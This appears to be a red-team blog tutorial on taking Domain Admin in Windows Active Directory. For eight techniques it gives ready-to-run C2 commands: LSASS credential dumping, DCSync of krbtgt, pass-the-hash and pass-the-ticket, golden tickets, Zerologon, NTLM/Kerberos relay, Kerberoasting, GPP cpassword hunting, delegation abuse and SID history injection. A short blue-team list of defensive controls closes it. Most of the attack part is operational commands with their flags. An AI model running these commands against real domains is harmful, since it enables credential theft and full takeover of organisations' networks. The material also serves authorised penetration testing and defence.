Getting Domain Admin often uses the same tricks that get you local admin on a box, and inside a Windows domain the domain controller is the machine that matters most, take that server and every account plus every joined host is yours, Windows keeps swapping authentication with other machines on its own all day without you touching it, and by default neither side really confirms the other one is real. Local recon and a look around the internal network already tell you the next hop.
Red Team: Attack vectors and Techniques
Raising rights in Active Directory means finding access that should not sit in object ACLs, then riding it until the principal is stronger than it started, and that path can swallow domain users, computer accounts, security groups, and the privileged people inside those groups, own one privileged user or one privileged group and you run the whole directory, a full take, not a partial one. Let’s walk the eight ways that actually get you there, the examples use NukeRat (https://github.com/nukeratframework/nukerat), a C2 in the same class as Cobalt Strike, a C2 is simply the panel that stays up after a host is already inside so you can type commands and jump to the next machine, we pick it here because each technique below already has a command in that panel, so the demos stay in one place.
1. Steal authentication tokens
Start on one workstation, raise rights to local admin, then dump what is sitting in memory, Mimikatz or anything in that family pulls local secrets and whoever logged on recently.
net-sharp-katz --- --Command logonpasswords
Pulls secrets from every LSASS provider (MSV, Kerberos, WDigest, Tspkg, CredMan), logonpasswords is the full pass, and the same tool also does DCSync, pass the hash, Zerologon, PrintNightmare and HiveNightmare.
net-safety-katz
Same secrets, less noise, it writes LSASS to a minidump, runs Mimikatz in memory for logonpasswords and ekeys, then wipes the file, you need SeDebugPrivilege, and the dump lands in C:\Windows\Temp\debug.bin unless you change it.
Take the local Administrator material from step 1 and try it on other workstations that still treat that account as admin, keep dumping each box until a Domain Admin logon shows up.
net-sharp-smb-exec --- username:admin hash:NTLM target:192.168.1.10 command:whoami
Fires a command on another host over SMB using an NTLM hash, which is pass the hash, you must pass username, hash and target, the hash can be LM:NTLM or NTLM, skip command and add -CheckAdmin if you only want to see if you are admin, and -ForceSMB1 sticks to SMB1.
Once Domain Admin is in hand, pulling every domain secret and staying inside is open.
net-sharp-katz --- --Command dcsync --User krbtgt --Domain corp.local --DomainController dc01.corp.local
Asks a domain controller to replicate secrets as if this host were another DC, --User is who you want (krbtgt here), --Domain and --DomainController point at the directory, and --AuthUser / --AuthDomain / --AuthPassword cover a login that is not already in the session.
2. Password, private key, Pass the Hash, Pass the Ticket
A password, a key, a hash or a ticket is enough to come back as that account until someone rotates it, service accounts often never expire, so the same secret can sit there for months or years.
net-sharp-katz --- --Command pth --User admin --Domain corp --NtlmHash HASH
Pass the hash starts a process or swaps the current logon for --User, --Domain and --NtlmHash, and --Rc4, --aes256 and --Luid are there if you want an existing logon session instead of a new one.
net-rubeus --- ptt /ticket:ticket.kirbi
net-rubeus talks raw Kerberos in C#, ptt loads a ticket into the current logon, and klist and triage show what is sitting there afterward.
3. Exploits such as MS17 010, MS16 077 and MS14 068 still help if the patch never landed.
Mitm6 is brutal on a normal Windows broadcast LAN, pair it with smbrelay or NTLMrelayx and you can land Domain Admin, including when MS16 077 is missing.
bof-authenticate-http --- localhost 80
Makes the current user send a Windows authenticated HTTP call toward a relay, ntlmrelayx in the help, the first argument must be a hostname, not an IP, the second is the TCP port, and that HTTP server has to answer 404 on the authenticated request.
net-krb-relay-up --- full -d corp.local -c -cn KRBRELAYUP$
Wraps KrbRelay and Rubeus for directories that do not enforce LDAP signing, full does relay plus spawn, force machine account Kerberos, bounce it to LDAP or ADCS, plant a control (RBCD unless you change it), then start a SYSTEM service, -d is the domain FQDN, -c makes a new computer account, -cn names it, relay / spawn / krbscm are the other phases, and -m shadowcred changes the primitive.
MS14 068 lets you rewrite a valid Kerberos TGT until it reads Domain Admin and Enterprise Admin, Kekeo inside Mimikatz is the old module for that.
net-rubeus --- golden
Builds a golden ticket from LDAP or from values you type, which is the same end state as a TGT whose PAC says Domain Admin, and silver and diamond are the other forged ticket actions in that tool.
net-sharp-katz --- --Command zerologon --Mode check --Target dc.corp.local --MachineAccount DC$
zerologon is CVE 2020 1472, --Mode can be check, exploit or auto, --Target is the DC hostname, --MachineAccount is the machine account (DC$), and check only probes.
4. Kerberos attack, Tim Medin showed this at SANS Hackfest 2014
Kerberos can pull service account secrets out of Active Directory as a normal user, none of that traffic has to hit the server that actually runs the service, you ask for a TGS for the SPN you care about using a normal user TGT, weaker checks mean you can try NTLM hashes against that ticket offline until one opens it and you have the service password.
net-rubeus --- kerberoast /outfile:hashes.txt
Asks for TGS tickets on accounts that have an SPN and writes them to /outfile for cracking later, and asreproast in the same tool hits accounts that skip pre auth.
bof-kerberoast --- MSSQLSvc/dc01.corp.local:1433
Same roast as a BOF, one SPN per call, it asks for an AP REQ and prints a base64 ticket, feed that output through apreq2hashcat.py.
Kerberos tickets also raise privileges, same point as in the local persistence writeup, you do not need extra rights to get those tickets, and the target host never sees the traffic.
5. GPP, local admin passwords sitting in SYSVOL from Group Policy Preferences.
This one barely looks like hacking, open Explorer, search the domain SYSVOL DFS share, look at XML, and most of the time the passwords hide in groups.xml, scheduledtasks.xml and Services.xml.
findstr /S /I cpassword \\sysvol\policies\*.xml
Plain Windows string search, /S walks folders, /I ignores case, and the help also shows this exact hunt for cpassword under SYSVOL policy XML.
net-sharp-up --- DomainGPPPassword
Checks common Windows ways to raise rights, DomainGPPPassword is the GPP password look in the domain, CachedGPPPassword is the copy left on disk, and without audit the checks only run if you already have high integrity or local admin.
net-gopher
No flags, it walks the local box for easy secrets, including cached GPP, unattended installs, PowerShell history, cloud creds, and saved RDP / PuTTY / WinSCP / VNC data.
SYSVOL is the public DC share for GP data and logon scripts, every domain user can read it, and if a password is stored there, AES 256 with the key Microsoft published will open it.
6. Delegated privileges
Delegation lets you hand a server the right to authenticate as you toward another service, the usual case is a service that must call a second service in the user’s name, plain version, a user or a computer can pretend to be someone else, you set this on the Delegation tab of the user or computer, pick “Trust this computer for delegation to any service (Kerberos only)” and you just turned on unconstrained delegation, give it a short list of SPNs instead and that is constrained delegation.
net-stand-in --- --delegation
Small AD toolkit for LDAP, ACLs, roasting, GPO, ADCS and machine accounts, --delegation prints unconstrained and constrained objects, --spn prints roastable SPNs, --asrep prints ASREP roastable accounts.
Turn unconstrained on and every account that touches that computer leaves a TGT in memory for later impersonation, a privileged user hits your box, the TGT stays, you replay it and the domain controller is next.
bof-tgtdeleg --- /target:CIFS/dc.corp.local
Pulls a usable TGT through GSS API delegation abuse, /target is the SPN you talk to.
net-rubeus --- s4u /user:svc /rc4:HASH /impersonateuser:admin /msdsspn:cifs/dc01 /ptt
S4U constrained delegation, the service account (/user plus /rc4 hash) impersonates someone else (/impersonateuser) toward an SPN (/msdsspn) and ptt injects the ticket.
7. Nested groups
Most directories nest groups instead of staying flat, John may be a member of Group A, Group A of Group B, Group B of Group C, Group C of Domain Admins, and John is then a domain administrator even though a flat member list never shows it, the gain over doing this by hand is one query, no matter how big the directory is.
net-ad-collector --- --NGAGP jane.doe
Light AD recon, a default run already hits trusts, privileged users, delegation, GPP cpassword, nested groups and more, and --NGAGP narrows that to nested group membership and applied GPOs for one samaccountname, still one query.
net-sharp-hound --- -c Group,ACL -d corp.local
BloodHound collector, -c chooses what to gather (Group and ACL here, plus Session, Trusts, DCOnly, All and others), -d is the domain, the files go into BloodHound CE, and --stealth with -c DCOnly is the quieter pass.
8. Domain Trust & SID History
People map trusts to find extra rooms to walk through in a forest with more than one domain, a trust means one domain accepts logons proven by another, users from the trusted side can then use resources on the trusting side, and that map feeds SID History injection, pass the ticket, and Kerberoasting.
net-sharp-view --- Get-DomainTrust
PowerView in .NET, Get-DomainTrust lists the trust links, the same binary also has Get-Domain, Get-DomainUser, Get-DomainGroup, Invoke-Kerberoast and Find-InterestingDomainAcl, with -Domain, -Server and -Credential on most methods, and -Help prints each method’s flags.
bof-add-sidhistory --- {target} {sid}
Writes a SID onto the target object’s sidHistory, it speaks LDAP 389 with signing and sealing, or LDAPS 636 with --ldaps, and -ou / -dc are optional.
Pass the Ticket and Kerberoasting across that trust are the same commands as above.
`net-rubeus --- ptt /ticket:ticket.kirbi
net-rubeus --- kerberoast /outfile:hashes.txt`
BLUE TEAM: Detective and Preventive Controls
Do not park Domain Admin on anything but domain controllers, or the first workstation that admin touches becomes the hole, stick to the basics that make this path expensive.
Endpoint Level:
Buy detection and prevention on the host, AV lowers the chance of a foothold, and if one lands it should at least fire so you can clean it.
Push Group Policy that actually holds, no removable media, no random software, least privilege, lock down CMD, disable Guest, password length, password age, no anonymous SID listing in AD, a tighter Control Panel, plus whatever else the org still needs.
Install the monthly Microsoft patches and ship 0 day fixes as soon as they exist.
Use AppLocker, allow lists and block lists based on what the business actually runs.
Privileged Access Management from Microsoft is how you hand out Directory Services rights on purpose.
Stand up SIEM and feed it the other detection sources, then watch the alerts, hook sysmon in if you can, and watch those registry keys for anyone poking them.
Split accounts so a local admin on a workstation is never Domain Admin anywhere else.
Network Level:
NIDS and NIPS catch and stop attacks on the wire.
Honeypots and canary tokens show the probe before the big hit.
Segment the network, put systems that hold sensitive data behind extra distance.
Tarpits slow worms and noisy abuse on the LAN.
SIEM again, tied to the same sources, sysmon into SIEM covers a lot of the lateral movement IDs.
Process Level:
Prep is what lets you see it and answer it, train people on a schedule so the org is not guessing during an incident.
Do not share local accounts.
Keep a separate domain user and a separate server admin.
Keep the secure baseline, do not treat it as a one time GPO.
Write incident response for breaches, leaks, and the rest of the threat list.
Train staff on current threats and on the tools that actually show up.


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